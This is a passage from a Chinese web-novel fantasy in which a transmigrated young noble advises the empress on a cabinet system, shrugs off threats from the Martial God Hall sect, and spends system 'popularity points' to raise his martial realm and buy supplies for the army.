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顿,看了一眼认真倾听的女帝和云暮,继续道,
“陛下便可从海量繁杂的日常琐事中解脱出来,只需专注于最重要的军国大政。既节省了精力,又能保证决策的效率和质量。而且…”
他加重了语气:
“为了防止内阁成员日久坐大,形成新的权臣,甚至可以定下规矩,内阁成员任期有限,比如一年或三年一轮换,到期必须离任,可另有任用,但不得连任。
同时,内阁成员之间,其‘票拟’意见需相互公开,甚至可以引入‘合议’与‘少数服从多数’的原则。
但最终裁决权仍在陛下手中。陛下亦可随时查阅所有奏章和‘票拟’,甚至驳回内阁意见,乾纲独断。”
“此制度,既能借助重臣的智慧处理琐事,又能通过任期轮换和陛下最终裁决权防止专权,可谓一举多得。
师尊言道,在他游历的某些强盛国度,正是凭借此等制度,使得君王不必过于劳累,而国事却能井井有条。”
江凡说完,心中也有些忐忑。
这套制度毕竟脱胎于另一个时空,是否适合当下的大夏,他并无十足把握。
但萧璇月听完,凤眸之中异彩连连,陷入了沉思。
她执掌朝政数年,深知每日被淹没在奏章海洋中的痛苦与低效。
许多事情,其实早有成例可循,或六部便可处置,却因层层上报、等待圣裁而拖延时日。
而一些真正紧要的大事,又往往因她被琐事缠身而无法及时深入处置。
这‘阁’制度,简直是说到她心坎里去了!
选拔数位绝对忠诚且有能力的重臣,组成一个专门处理日常政务的‘智囊团’和‘过滤器’,她只需要把握大方向,裁决最重要的事情…
这能让她有更多时间思考战略、陪伴…某人,更能提高整个朝廷的运转效率!
而任期轮换和最终裁决权,又确保了皇权不会旁落。
“妙!妙极!”
萧璇月忍不住拍案称赞,脸上绽放出发自内心的笑容,看向江凡的目光充满了惊喜与赞赏,
“逍遥前辈果然学究天人,此‘内阁’之制,实乃安邦定国、富国强兵的良策!江凡,你可是又为朕,为大夏,立下一大功了!”
第231章 太冲动了些
萧璇月激动得甚至想立刻对江凡再加封赏,但想到他刚才那副急着跑路的模样,又硬生生忍住,只是眼中的笑意和欣赏几乎要溢出来。
一旁的云暮也是满脸喜色,感激地看向江凡。
她最清楚陛下每日有多辛劳,若真能推行此制,陛下便能轻松许多,身体也能好好将养。
这位江世子,真是陛下的福星。
江凡见女帝如此认同,心中也松了口气,连忙摆手:
“陛下过誉了,此乃师尊所言,臣只是转述。若能对陛下、对大夏略有裨益,便是幸事。封赏什么的,就真的不必了,臣受之有愧。”
他现在可不敢再要什么赏赐了,那黄马褂和亲王待遇已经够他头疼了。
萧璇月见他又要推辞,知道他是真的不想要这些虚名浮利,心中对他的欣赏更添几分,也愈发觉得他与众不同。
她点了点头,不再提封赏之事,转而道:
“好,既然你不想受赏,朕便依你。不过,此议确乃良策,需尽快推行。朕这就传召几位信得过的重臣入宫,详细商议内阁人选与章程。江凡,你…”
她看着江凡,眼中带着询问。
是留下参与商议,还是…
江凡连忙躬身:
“陛下,此等军国大事,自有陛下与诸位重臣商议定夺,臣一介武夫,不宜参与。且臣…臣方才想起,还有些私事需处理,请陛下准许臣告退。”
开玩笑,让他参与讨论设立内阁?
那他还不被那些文官的口水淹死?
再说,他是真想跑路了,这御书房的气压,有点低。
萧璇月看着他这副避之唯恐不及的样子,心中好笑,也不勉强,挥了挥手:
“去吧。记住朕的话,明日开始,随你心意,想何时进宫便何时进宫,想出去散心也自便。只是…注意安全。”
“谢陛下!臣告退!”
江凡如蒙大赦,连忙行礼,几乎是逃也似地退出了御书房。
……
御书房内,江凡离去后,气氛恢复了沉静。
萧璇月望着他离开的方向,脸上的笑容渐渐敛去,化为一种复杂的感慨。
她低声对云暮道:
“云暮,你看到了吗?江凡他…看似惫懒,胸无大志,可每每不经意间,总能提出如此切中要害的治国良策。
这‘内阁’之制,思虑周全,兼顾效率与制衡,非大智慧、大胸襟不能提出。他若真有野心,以此等才具心智。
再配合他那…深不可测的底蕴和自身实力,即便想坐这龙椅,也未必是难事。”
云暮深有同感地点头:
“陛下所言极是。江世子确有经天纬地之才,只是性子…太过淡泊了些。或许,正是这份淡泊,才让他能跳出局外,看得更清吧。”
她顿了顿,脸上露出忧色,
“只是,陛下,如今靖王已除,北境南疆战事,有了那几十万斤粮食和抄没靖王府的资财,想必也能稳住,甚至**。
朝中隐患暂消。江世子他…似乎去意更坚了。今日若非陛下以超常恩宠和自由相留,他恐怕真的就…”
萧璇月沉默片刻,眼中闪过一丝黯然,但随即又被坚定取代。
她轻轻抚过案上那本《深宫秘恋》的话本,指尖停留在最新一章的标题上,语气带着一丝执拗:
“朕知道他想走。可朕…不会让他走的。”
“可是陛下,”云暮有些焦急,
“总得有个理由,有个契机啊。难道就一直这样,用强恩厚赏,用特权自由拴着他吗?以江世子的性子,若是铁了心要走,这些外物,恐怕…”
“契机已经来了,还有两日,他会跟朕坦白,朕会让他看到诚意的。”
萧璇月打断她,目光投向窗外,仿佛看到了更远的未来,声音平静,
“而且,江凡他杀了沧溟子,与武神殿结下了死仇。以他的性子,绝不会坐视武神殿可能的报复,更不会让这份威胁,波及到他在乎的人。
他要三天时间处理,朕估计他是要确保国公府所有人安全,才会坦白一切。这小子还是这么谨慎,却不知朕早就知道他身份了。”
她转过身,看向云暮,眼神锐利:
“他现在不暴露身份,或许,并非全是因为怯懦或想逃离朕。也许,他正是考虑到,一旦‘逍遥公子’与‘江凡’彻底划上等号,武神殿的报复,将不再仅仅针对一个神秘的‘陆地神仙’。
而是会直接指向镇国公府,指向所有与他有关的人。北境的镇国公,虽有大军护卫,但面对武神殿那种层次的刺杀,防不胜防。
他这是在…保护他的家人,也是在保护朕,
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保护大夏,不因他一人之事,而陷入更大的危机。”
云暮闻言,浑身一震,眼中露出恍然与感动之色:
“陛下是说…江世子他并非不想坦白…”
“是的,”萧璇月微微点头,眼神中的笃定:
“所以,现在逼他坦白,并非良策。反而会让他陷入更被动的境地,也让朕…失去暗中应对的余地。
武神殿这条线,是危机,也未尝不是…将他与朕,与大夏,更紧密绑在一起的契机。”
她走到窗边,望着宫墙外辽阔的天空,声音很轻,却带着一种帝王的决断与一个女子的柔情:
“哪怕三日内他还是不想坦白,朕也会等他,等他认为时机成熟,等他…愿意亲手摘下面具,走到朕面前的那一天。
在那之前,朕就陪他演下去。他想当‘惫懒的纨绔’,朕就给他‘纨绔’的自由。他想以‘逍遥公子’的身份守护,朕就接受这份守护。只要他…不离开。”
云暮看着陛下坚定而深情的侧影,心中感慨万千,最终只能化作一声叹息:
“陛下…您真是用心良苦。”
……
江凡出了宫,并没有立刻回国公府。
他心中惦记着柳絮那边‘生意’的进展,更需要找柳絮打听武神殿的详细信息,便信步朝着百花楼走去。
武神殿找他报复他根本不怕,但这种超然物外的大势力,要是针对他身边人,那就不得不小心应对了。
到了地方,熟门熟路地进了顶层的雅间。
他刚坐下没多久,门便被轻轻推开,一阵香风袭来,柳絮那窈窕的身影便闪了进来。
她今日穿了一身淡雅的鹅黄长裙,少了几分风尘妩媚,多了几分清丽,只是眉宇间,却带着一丝掩饰不住的忧色。
“江世子,你来了。”
柳絮在他对面坐下,亲自为他斟茶,动作优雅,目光却一直落在他脸上,带着审视与担忧。
“柳姑娘找我有事?”
江凡端起茶,抿了一口,直接问道。
他感觉柳絮今天似乎有些不同。
柳絮放下茶壶,咬了咬下唇,犹豫了一下,还是低声道:
“江世子,昨夜宫中之事…妾身已听说了。靖王伏诛,本是好事。可是…你‘师尊’逍遥前辈,是不是…太过冲动了些?”
第232章 我从不后悔
柳絮看着江凡,眼中满是忧虑:
“你...师尊他怎么能…直接杀了那沧溟子?那沧溟子,不仅是海外玄龟岛的长老,更重要的是,他是‘武神殿’登记在册的外围成员!
武神殿的势力,远非寻常江湖门派可比,其触角遍布整个大陆,高手如云,规矩森严,最是护短!杀了他们的人,便是公然挑衅,不死不休啊!”
江凡放下茶杯,脸色平静,眼中却闪过一丝冷芒:
“柳姑娘的消息,果然灵通。不过,师尊他老人家行事,自有道理。那沧溟子助纣为虐,犯我大夏,威胁陛下,死有余辜。
武神殿若识趣,此事便到此为止,师尊也懒得与一群藏头露尾之辈计较。可他们若是不识趣,非要来寻仇…”
他顿了顿,语气骤然转冷,带着一股凛然的杀意:
“那师尊他,也不介意费点手脚,将这所谓的‘武神殿’,从这片大陆上,彻底抹去。”
这话说得平淡,却蕴含着一种睥睨天下、视顶级势力如无物的绝对霸气!
柳絮听得心头剧震,美眸圆睁,难以置信地看着江凡。
她知道‘逍遥公子’实力强横,可武神殿是何等存在?
那是凌驾于诸多王朝帝国之上、掌控着大陆顶级武力的庞然巨物!
他竟然敢说‘抹去’?
可看着江凡眼中的冰冷与自信,柳絮心中又不由得信了几分。
这位江世子,或许…真有这份底气?
她定了定神,压下心中的惊涛骇浪,语气更加急切:
“江世子!话虽如此,可武神殿势大,明枪易躲,暗箭难防!他们或许暂时奈何不了逍遥前辈,可你是他唯一的弟子!
他们很可能会迁怒于你,甚至…对你身边的人不利!镇国公远在北境,国公府虽有护卫,但面对武神殿那种层次的暗杀,恐怕…”
“他们敢!”
江凡猛地一拍桌子,霍然站起!
眼中寒光爆射,一股凌厉的杀气不受控制地弥漫开来!
他来这里的重要目的,就是想知道武神殿会不会真的这么没有下限。
柳絮被他这突如其来的暴怒吓了一跳,下意识地后退了半步。
“武神殿若敢动我家人一根汗**,”江凡一字一句,声音带着一种令人灵魂战栗的决绝,
“我江凡在此立誓,必穷尽毕生之力,追杀武神殿上下,鸡犬不留!无论他们藏身天涯海角,无论他们背后有何等靠山,我必将其连根拔起,斩尽杀绝,寸草不生!”
这誓言,充满了血腥与暴戾,却也透着一股不顾一切、守护至亲的疯狂与决绝!
四季堂是武神殿依附势力之一,他需要柳絮将自己的态度传达上去!
柳絮看着他因愤怒而微微发红的眼睛,感受着那强烈的杀意,心中震撼莫名。
她忽然明白,家人,是这位看似惫懒随和的世子,绝对的逆鳞!
触之,则必以血偿还!
她深吸一口气,强行让自己冷静下来,语气缓和了些:
“江世子息怒,妾身只是提醒,并非说一定会发生。武神殿行事,也有其规矩,未必会行此下作手段。但防人之心不可无,世子还需早作准备。”
江凡也意识到自己有些失态,缓缓坐下,收敛了杀气,但眼神依旧冰冷:
“多谢柳姑娘提醒。我自有分寸。”
他顿了顿,转移了话题,
“对了,柳姑娘找我,可是为了那些货物销售之事?”
自己的意思表达了,他相信柳絮会传上去的。
若是武神殿不听,那就只能杀出个朗朗乾坤!
柳絮见他不想再谈武神殿,也顺势道:
“正是。世子提供的那些香水、化妆品、旗袍、丝袜,还有…卫生巾,在京城引起了极大的轰动!尤其是香水、口红和旗袍丝袜,几乎被抢购一空!
昨日一天,收到的定金和现银,便已超过一百五十万两!而且订单还在源源不断地增加,许多外地客商也闻讯赶来。”
一百五十万两!
饶是江凡早有预料,也被这数字惊了一下。
这还只是一天,还只是京城!
若是推广到全国,甚至海外…那财富,简直难以想象!
果然,女人的钱最好赚,尤其是这个时代顶级贵妇们的钱。
“货物方面柳姑娘不用担心,我稍后便让人将下一批送到百花楼。至
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于所得银钱,”
江凡毫不犹豫地道,
“除留下一成作为柳姑娘的打点费用和后续运作本钱,其余全部,直接秘密送入皇宫内库,充作军费。
北境和南蛮既然敢挑起战端,如今内患已除,钱粮若能跟上,便是该让他们付出代价的时候了。雷霆一击,方可永绝后患!”
柳絮点头,眼中闪过一丝钦佩。
这位江世子,看似惫懒,心中却装着家国天下,更难得的是,对钱财视若浮云,百万巨资,说捐就捐,只为强军卫国。
“世子高义,妾身佩服。妾身定当办妥。”
柳絮郑重应下。
正事谈完,雅间内气氛缓和了些。
柳絮看着江凡,犹豫再三,还是忍不住再次低声提醒,语气郑重:
“江世子,妾身知你...尊师非常人。但武神殿之事,绝非儿戏。妾身所在的四季堂,消息还算灵通,据我所知,武神殿的势力,远不止表面那些。
其触角不仅延伸到大陆各个角落,掌控着无数像四季堂这样的情报组织、**集团,甚至许多传承久远、势力庞大的名门大派,暗中都与武神殿有着千丝万缕的联系,或依附,或合作。”
“一旦武神殿真的动怒,发出‘武神令’,根本无需他们亲自动手,便会有无数想要巴结武神殿、或畏惧其威势的势力与人,主动找上你师徒的麻烦。
那时,你们面对的,将是源源不断、来自四面八方的明枪暗箭,防不胜防。世子…务必,万分小心。”
江凡听着柳絮这番警告,能感受到她话语中的真诚与关切。
他心中微暖,点了点头,目光望向窗外繁华的街市,眼神深邃。
“柳姑娘的好意,江某心领了。”
他缓缓道,声音平静,却带着沉稳与坚定,
“从我决定出手,击杀沧溟子的那一刻起,便已料到了可能的后果。武神殿…要来,便来吧。”
“我江凡,从不后悔。”
现在人气值日收上千万,很快就能提升到陆地神仙境界。
而最重要的底牌是无敌领域,武神殿真的敢找自己麻烦,那自己真的不介意让他们从大陆消失...
第233章 大宗师巅峰
离开百花楼之后,江凡独自走在回镇国公府的路上。
武神殿的阴影如同悬在头顶的利剑,虽然嘴上说得轻松霸气,但他深知,那是一个远超靖王、甚至可能超越他目前认知的庞然大物。
柳絮的警告绝非危言耸听,家人的安危,是他绝不能触碰的底线。
回到镇国公府,刚踏进前院,三道窈窕的身影便从厅中快步迎了出来。
“凡儿!”
江芷兰走在最前,脸上带着担忧,快步上前拉住江凡的手臂,上下打量,
“你可算回来了!宫里…没事吧?听说昨夜闹得厉害,今日朝会也…”
她显然已从某些渠道得知了朝堂上的风波。
“江世子。”
周婉如跟在江芷兰身侧,一身素雅的衣裙,脸上亦是关切之色,只是目光触及江凡时,多了几分羞涩和欲言又止的柔情。
她今日没有穿那身旗袍丝袜,恢复了往常的温婉打扮。
但江凡能看出,她气色比之前好了许多,眉宇间也多了几分光彩。
冷月寒则落后半步,依旧是那身利落的黑色劲装,身姿挺拔如松,气息内敛。
只是那双清冷的眸子在看到江凡安然无恙时,几不可察地松缓了一瞬,随即又恢复了惯常的平静。
但江凡敏锐地察觉到,她周身的气息,比之日前,似乎凝练强横了许多。
“姐,周姑娘,冷姑娘,我没事,让你们担心了。”
江凡拍了拍姐姐的手,对周婉如和冷月寒点了点头,露出一个安抚的笑容,
“宫里的事情已经解决了,靖王伏诛,叛乱已平。眼下…算是风平浪静了。”
他刻意用没有把话说满。
虽然靖王这个心腹大患已除,内乱暂息,但北境南疆的烽火未熄,武神殿的威胁更如阴云密布,远谈不上真正的风平浪静。
只是这些,他不想让她们过多担忧。
江芷兰和周婉如闻言,明显松了口气。
江芷兰拍着胸口:“谢天谢地,总算是过去了。这下父亲在北境也能安心些了。”
周婉如也柔声道:“世子平安归来就好。”
唯有冷月寒,目光在江凡脸上停留了一瞬,似乎察觉到他笑容下那一丝凝重。
她本就心思敏锐,又是江湖出身,对危机有着本能的直觉。
但她没有多问,只是默默地将这份疑虑记在心里。
江凡的目光落在冷月寒身上,仔细感应了一下,眼中不禁露出一丝讶异:
“冷姑娘,你的修为…似乎精进不少?已至宗师巅峰了?”
他记得前些日子见冷月寒,还只是宗师中期左右。
这才多久?
竟然连破两阶,直达巅峰?
这速度,即使有他提供的丹药辅助,也堪称惊人了。
除非…她本身天赋绝佳,又极为刻苦,且心无旁骛。
冷月寒闻言,对着江凡抱拳一礼,清冷的声音带着感激:
“回世子,正是。多亏了世子此前赐下的丹药,药效精纯磅礴,月寒方能有所突破。月寒定当勤加修炼,不负世子所托,护卫大小姐周全。”
她特意强调了‘护卫大小姐’,表明自己牢记职责,也隐晦地表达了对江凡信任的回报。
江凡微微颔首,眼中闪过一丝赞许。
冷月寒天赋心性皆属上乘,又知恩图报,忠心可靠,有她在姐姐身边,确实能让人放心不少。
他想了想,又从系统空间(装作从怀中)取出两个玉瓶,分别递给江芷兰和冷月寒。
“姐姐,冷姑娘,这里是一些辅助修炼和固本培元的丹药,你们拿去,按说明服用,对修为稳固和进一步提升大有裨益。”
他又看向周婉如,也取出一瓶递过去,
“周姑娘,这瓶是温和调理、滋养身体的,你也拿着,平日里服用,对身体有好处。”
三女接过玉瓶,触手温润,瓶中丹药清香隐隐,一看便知不是凡品。
江芷兰眼中满是欣慰,弟弟越来越有担当,也更懂得关心人了。
周婉如则是心中甜丝丝的,世子虽然还未明确表示什么,但这般细致的关怀,已让她倍感温暖。
冷月寒则再次郑重道谢。
“眼下京城虽看似平静,但外有强敌,内里或许还有靖王余孽未清,你们平日出入,还需多加小心。”
江凡语气温和,却带着不容忽视的认真,
“努力提升自身实力,总是没错的。有了自保之力,我也能更放心些。”
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>他没有明说武神殿的威胁,但话中的谨慎和督促之意,三女都听出来了。
江芷兰和周婉如虽然不太明白具体还有何危险,但见江凡如此郑重,也都认真点头应下。
冷月寒更是眸光一凝,心中那点疑虑更重,暗自决定要加倍刻苦修炼。
安抚好家人,江凡回到自己那处僻静的小院。
关上房门,隔绝了外界的一切。
他长长吐出一口浊气,调出系统界面,目光落在那个金光闪闪的数字上:
【当前人气值:11,855,600】
一千一百八十五万!
距离昨夜查看时,又暴涨了数百万!
看来新一期文化盛宴话本的投放,正在以惊人的速度传播发酵,为他带来源源不断的人气值!
照这个趋势,明天突破两千万,绝非难事!
实力!
现在最需要的就是实力!
应对武神殿的潜在威胁,保护家人和她在意的一切,都需要绝对的实力作为后盾!
“系统,兑换大宗师巅峰境界!”
他毫不犹豫。
【叮!消耗人气值10,000,000点!开始灌注大宗师巅峰境界修为…】
这一次的提升,不仅仅是真元数量的暴增和质量的飞跃,更伴随着对道与理的更深层次触摸!
他的神魂仿佛被洗涤、升华,对天地灵气的感应与控制达到了一个全新的高度!
举手投足间,仿佛都能引动周遭天地之力相随!
体内真元奔腾如长江大河,却运转圆融无碍,再无半分滞涩!
这是一种近乎‘圆满’的感觉,仿佛已经站在了世俗武力的最顶峰,再往前,便是那传说中的、超凡脱俗的极道宗师之境!
良久,灌注结束。
江凡缓缓睁开眼,双眸之中,精光内蕴,神华自生,仿佛有星辰生灭,深邃无比。
他轻轻握拳,感受着体内那足以移山填海、却又掌控由心的恐怖力量,心中豪情万丈。
大宗师巅峰!
“还剩一百八十五万人气值…”
江凡看向下一境界的兑换要求。
【兑换极道宗师初期境界】:需人气值15,000,000点。
一千五百万!
第234章 世子怎么了
按照现在的增长速度,明天,或许就在几个时辰之后,就能凑齐!
“一旦达到极道宗师,配合系统底牌,即便面对武神殿的真正高层,也未必没有一战之力!实在打不过,一张体验卡也能搞定!”
江凡心中充满期待。
但实力提升固然重要,眼下的现实问题也等待解决。
朝廷国库空虚,虽然抄没靖王府和百花楼的奇物销售能解一时之急,但面对两线作战的巨大消耗,仍是杯水车薪。
将士们在边境流血拼命,绝不能让他们饿着肚子打仗。
“明天提升到极道宗师后,剩下的人气值,要全部用来兑换粮食、药品、御寒衣物等军需物资,秘密运往北境和南疆!”
江凡下定决心,“要让前线将士无后顾之忧,才能打出威风,震慑蛮夷!”
此外,提升影响力的工作也不能停。
人气值是他一切的根基。
他重新坐回书案前,连接创作空间。
这一次,他不再仅仅局限于故事和诗词。他回想起前世那些造福万民的实用书籍——
《齐民要术》、《天工开物》(部分)、《农政全书》(精要),甚至是一些基础的物理化学常识、医疗卫生知识、简易工程原理…
“系统,兑换相关书籍知识(简化科普版),并允许我以‘话本附录’、‘海外奇谭’、‘先贤遗著’等形式,融入新章节中提交。”
他尝试着与系统沟通。
【叮!请求通过。检测到宿主意图传播有益民生之知识,符合‘教化万民、开启民智’潜在准则。开启‘知识载体’模板。相关简化知识已整合,可无缝融入新章节。是否开始创作?】
“开始!”
江凡精神一振,提笔疾书。
在新一章的《深宫秘恋》中,他巧妙地将一个‘海外游学士子’的角色引入。
借其之口,在讲述异域风情、奇闻轶事的同时,‘不经意’地透露了许多关乎农耕、水利、纺织、医疗、乃至一些简易机械原理的宝贵知识。
文字深入浅出,配以简单易懂的示意图,力求让稍有见识的农夫、工匠、乃至对新鲜事物好奇的读书人,都能有所得。
同时,主线剧情依旧精彩,女帝与‘影子’的情感在危机暂缓后,多了几分温馨与默契的日常互动,足以让女性读者沉醉。
写完提交,再次选择最大投放量。
看着系统提示启动了新一批五万份的印制投放,江凡才松了口气。
希望这些‘知识’,能如星火,在这个时代逐渐燎原。
做完这一切,夜已极深。
江凡躺倒在床上,却了无睡意。
脑海中,各种画面纷至沓来——萧璇月身着旗袍丝袜的绝美风情与泪眼婆娑的执着告白;
周婉如温婉羞涩中带着勇敢决绝的拉钩誓言;柳絮妩媚精明却又暗含关切的郑重提醒;
甚至,还有塔娜公主那明媚张扬的笑脸,与攥着破碎玉簪痛哭的悲戚身影交织…
“唉…”他忍不住叹了口气,揉了揉发胀的太阳穴。
这剪不断理还乱的感情线,比应对靖王和武神殿还要让他头疼。
每一个女子,都对他有情,或深或浅,或炽热或含蓄。
而他…似乎对每一个,都无法真正做到无动于衷。
尤其是萧璇月,那份几乎将他灵魂灼烧的深情,已深深烙印在他心底。
“不想了不想了!”
他用力甩头,试图将这些旖旎烦乱的思绪甩出去。
当务之急是提升实力,应对危机!
感情的事…顺其自然吧。
为了分散注意力,他再次沉入系统商城。
修为到了大宗师巅峰,寻常的**秘籍对他而言已无太大意义。
极道宗师乃至更高的境界,更多的是对天地之力的感悟与掌控,是自身‘道’的凝聚。
系统商城里有更高级的修炼感悟和法则碎片,但价格昂贵,且他目前境界未到,兑换了也未必能立刻理解。
他的目光,转向了那些适合较低境界修炼的**和技能。
“姐姐和冷月寒,还有周婉如,她们需要提升自保能力。尤其是姐姐和周婉如,武道根基尚浅,需要从基础打起,但又不能是大陆货色。”
他开始仔细搜寻。
很快,他锁定了几样物品:
【《冰心玉骨诀》(地阶上品)】:适合女子修炼的内功心法,中正平和,修炼出的真气精纯绵长,兼具温养经脉、驻颜美容之效,后期对突破瓶颈亦有助益。兑换需人气值50000
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点。
【《流云惊鸿步》(地阶中品)】:精妙绝伦的身法,灵动飘逸,擅长闪避腾挪,于方寸间趋吉避凶,练至大成,翩若惊鸿,婉若游龙。兑换需人气值100000点。
【《细雨无声剑》(地阶中品)】:剑法,招式绵密精巧,看似柔和,实则暗藏杀机,讲究以巧破力,以柔克刚,尤其适合真气属性偏阴柔的女子修炼。兑换需人气值10000点。
【《金缕玉衣功》(特殊护体**)】:并非硬功,而是一种运用真气在体表形成柔性护盾的奇术,防御力不俗,且对真气消耗相对较小,关键时刻可保命。兑换需人气值150000点。
这几样**,品阶不低,又都偏重灵动、防御和持久,正适合女子修炼,也符合江芷兰、周婉如和冷月寒的特点。
尤其是《冰心玉骨诀》,附带驻颜效果,想必没有女子能拒绝。
“兑换!”
江凡没有犹豫,将这些**秘籍兑换出来,存入系统空间。
做完这些,心神消耗巨大,困意终于涌来。
他不再抵抗,沉沉睡去。
……
翌日清晨,天光未亮,门外便传来了丫鬟小心翼翼的叩门声和呼唤:
“世子,世子?时辰不早了,该起身上朝了…”
江凡迷迷糊糊地被吵醒,一股起床气涌上心头。
他昨晚折腾到后半夜,此刻正睡得香甜,被人吵醒,顿时没好气地对着门外喊道:
“别叫了!以后不用叫我上朝!等小爷我睡醒了再说!”
门外的丫鬟愣住了,以为自己听错了,又不敢再叫,急得在门外团团转。
世子这是怎么了?
昨日才得了天大的恩宠赏赐,今日就不去上朝了?
这要是被陛下知道,可怎么得了?
丫鬟越想越怕,连忙跑去禀报大小姐江芷兰。
江芷兰也刚起身不久,正在梳洗,听到丫鬟慌乱的禀报,心中一惊。
以为是弟弟昨日在朝堂上受了气,或者因为赏赐太重惹了非议,心中郁结,这才赌气不起。
她连忙披了件外衣,也顾不上仔细梳妆,便匆匆来到江凡的院外。
“凡儿?凡儿你醒着吗?”
江芷兰轻轻叩门,声音带着担忧。
第235章 慈恩寺祈福
屋内,江凡被再次吵醒,更加郁闷。
他抓了抓头发,无奈地起身,胡乱套了件外袍,走过去打开房门,一脸睡眼惺忪:
“姐,大清早的,怎么了?”
江芷兰看着弟弟这副邋遢模样和脸上的倦色,心疼之余,更是焦急,压低声音道:
“凡儿,你怎么不去上朝?可是昨日在朝中受了委屈?还是…那赏赐太重,让你为难了?你可不能任性,陛下对咱家恩重,你切不可恃宠而骄,惹陛下不快啊!”
江凡这才明**姐是误会了,哭笑不得,连忙解释道:
“姐,你想多了。我没受委屈,也不是恃宠而骄。是陛下…是陛下特许的!她说我以后不用按时上朝点卯,想什么时候去就什么时候去,想不去也行。真的!”
“陛下特许的?”
江芷兰将信将疑,凤眸中满是疑惑,
“陛下…为何给你如此特权?”
这简直闻所未闻!
就算弟弟的师尊功劳再大,这恩宠也太过逾矩了吧?
“哎呀,还不是看我师尊的面子,加上我…我确实懒散,起不来嘛。”
江凡含糊道,将原因推到‘师尊’身上,
“陛下体恤,就给了我这点自由。姐,你就别担心了,回去再睡会儿吧,或者去忙你的。我真没事。”
江芷兰仔细看着弟弟的眼睛,见他眼神虽然困倦,却清澈坦然,不似说谎,心中信了七八分。
虽然觉得这‘特权’匪夷所思,但既然是陛下金口玉言,那便无妨了。
她松了口气,脸上露出笑容:
“原来如此,倒是姐姐多虑了。陛下对咱们江家,真是…恩同再造。凡儿,你虽得此殊遇,也当时时谨记皇恩,莫要真个惫懒,辜负了陛下厚望。”
“知道了知道了,姐你最啰嗦了。”
江凡打着哈欠,想把姐姐往外推。
江芷兰被他推着,忽然想起一事,道:
“对了,今日我与周妹妹约好了,要去城外的慈恩寺为父亲祈福,愿他早日平定北境,凯旋归来。你要不要一同去?”
慈恩寺?
祈福?
江凡立刻把头摇得像拨浪鼓:
“不去不去,我最烦去庙里了,规矩多,还得听和尚念经。姐你们去就是了,记得多捐些香油钱。让冷月寒跟着你们,路上小心。”
江芷兰知道他性子,也不强求,点头道:
“好吧,那你好好在家休息。月寒自然会跟着。”
她顿了顿,又关切道:
“你也要注意身体,莫要总是熬夜。”
“嗯嗯,知道了。”
江凡敷衍地应着,忽然想起昨晚兑换的**,连忙道:
“姐,你等等。”
他转身回屋,从系统空间取出那几本连夜兑换的**秘籍,递给江芷兰:
“姐,这些是我…是我从师尊那里求来的一些适合女子修炼的**。这本《冰心玉骨诀》是内功心法,对你和周姑娘都大有裨益,还能养颜。
这本《流云惊鸿步》是身法,这本《细雨无声剑》是剑法,还有这本《金缕玉衣功》是护体法门。
你都拿着,和冷月寒一起参详修炼。若是周姑娘有兴趣,也可一同修炼。修炼所需的丹药,我这儿有,管够。”
江芷兰接过那几本一看就非凡品的秘籍,眼中满是震惊与感动。
她虽不精武道,但也看得出这些**的珍贵。
弟弟和他师尊对她们,真是考虑得周到至极。
“凡儿…这、这太珍贵了!代姐姐多谢尊师!”
江芷兰郑重地将秘籍抱在怀中,仿佛抱着无价之宝,
“你放心,姐姐一定好好修炼,绝不辜负你和尊师的一片心意。周妹妹那边,我也会问过她的意思。”
“嗯,姐你们快去吧,路上小心。”
江凡挥挥手,送走了千恩万谢的姐姐。
重新关上门,被这么一闹,睡意也跑了大半。
江凡索性不睡了,走到桌边倒了杯凉茶喝下,然后习惯性地调出系统界面,想看看经过一夜的发酵,人气值涨了多少。
当他的目光触及那个数字时,整个人瞬间僵住,手中的茶杯差点脱手掉落!
【当前人气值:18,357,000】
一夜之间,涨了一千多万?
江凡用力眨了眨眼,怀疑自己是不是看花了。
再次确认,数字清晰无比,赫然是一千八百多万!
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>这增长速度,简直如同坐了火箭!
比昨夜预估的还要恐怖数倍!
是了,昨夜平定靖王叛乱的消息,加上‘逍遥公子’掌毙陆地神仙、霸气宣言‘虽远必诛’的事迹,恐怕已经席卷了整个京城,并向着更远的州府扩散!
再加上新一期融合了‘实用知识’的话本投放引发的轰动效应,以及女帝对他话本不遗余力的支持推广,下面的官员也不敢怠慢…
所有这些因素叠加,产生了难以想象的化学反应,为他带来了海量的人气值!
巨大的惊喜瞬间冲散了残留的睡意和郁闷!
江凡只觉得心脏狂跳,血液沸腾!
一千八百多万!
这意味着什么?
意味着他不仅可以立刻兑换极道宗师初期的修为,甚至…还能剩下足够多的人气值,去做更多事情!
“系统!兑换极道宗师初期境界!”
他没有任何犹豫,立刻下令。
【叮!消耗人气值15,000,000点!开始灌注极道宗师初期境界修为…警告!此为大境界跨越,能量灌注剧烈,请宿主凝神静气,全力引导!】
比之前大宗师巅峰突破时狂暴十倍、精纯百倍的能量,轰然涌入江凡体内!
他的经脉、骨骼、脏腑、乃至每一个细胞,都在疯狂地吸收、蜕变、升华!
神魂仿佛脱离躯壳,在无尽的道韵法则海洋中沉浮,感悟着那玄之又玄的‘道’与‘理’!
痛苦与极乐交织,毁灭与新生并存。
不知过了多久,仿佛一瞬,又仿佛万年。
“轰!”
体内仿佛有什么屏障被彻底打破,一股仿佛能与天地共鸣的浩瀚力量,自他丹田深处、神魂本源中轰然苏醒!
他缓缓睁开双眼,眸中竟有日月星辰、山川河流的虚影一闪而逝,随即归于深邃平静。
周身气息圆融内敛,再无半分外泄,但若有人以神识探查,便会感觉如同面对一片无垠星空,深不可测。
极道宗师!
他终于,真正踏入了这个传说中的境界!
从此,寿元大增,可初步借用天地之力,举手投足间威能莫测,已然超脱了凡俗武夫的范畴!
第236章 敢聚众**
感受着体内那仿佛无穷无尽、又与天地隐隐共鸣的磅礴力量,江凡心中涌起万丈豪情!
此刻的他,即便不依靠任何系统道具,也自信足以傲视天下绝大多数强者!
“还剩三百三十五万人气值…”
江凡看向下一个境界。
【兑换极道宗师中期境界】:需人气值15,000,000点。
还是一千五百万,按照目前的暴增速度,晚上可能就够了!
但他不打算立刻兑换。
境界刚刚突破,需要时间稳固和熟悉。
而且,眼下有更重要的事情要做。
国库空虚,军需紧缺。
姐姐她们去了寺庙,府中暂时安静,正是兑换大批物资的好时机!
他盘膝修炼,一直等到中午,几个时辰,人气值果然快速增加,已经累积到八百多万。
“粮食、药品、棉衣…还有百花楼那边需要的货物,香水、化妆品、旗袍、丝袜、卫生巾…”
江凡心中快速盘算着,
“人气值充足,可以多兑换一些!不仅要支援前线,也要保证‘商业线’的货源充足,持续为朝廷输血!”
想到就做。
他立刻开始疯狂采购。
……
一连串的兑换指令下去,人气值快速减少。
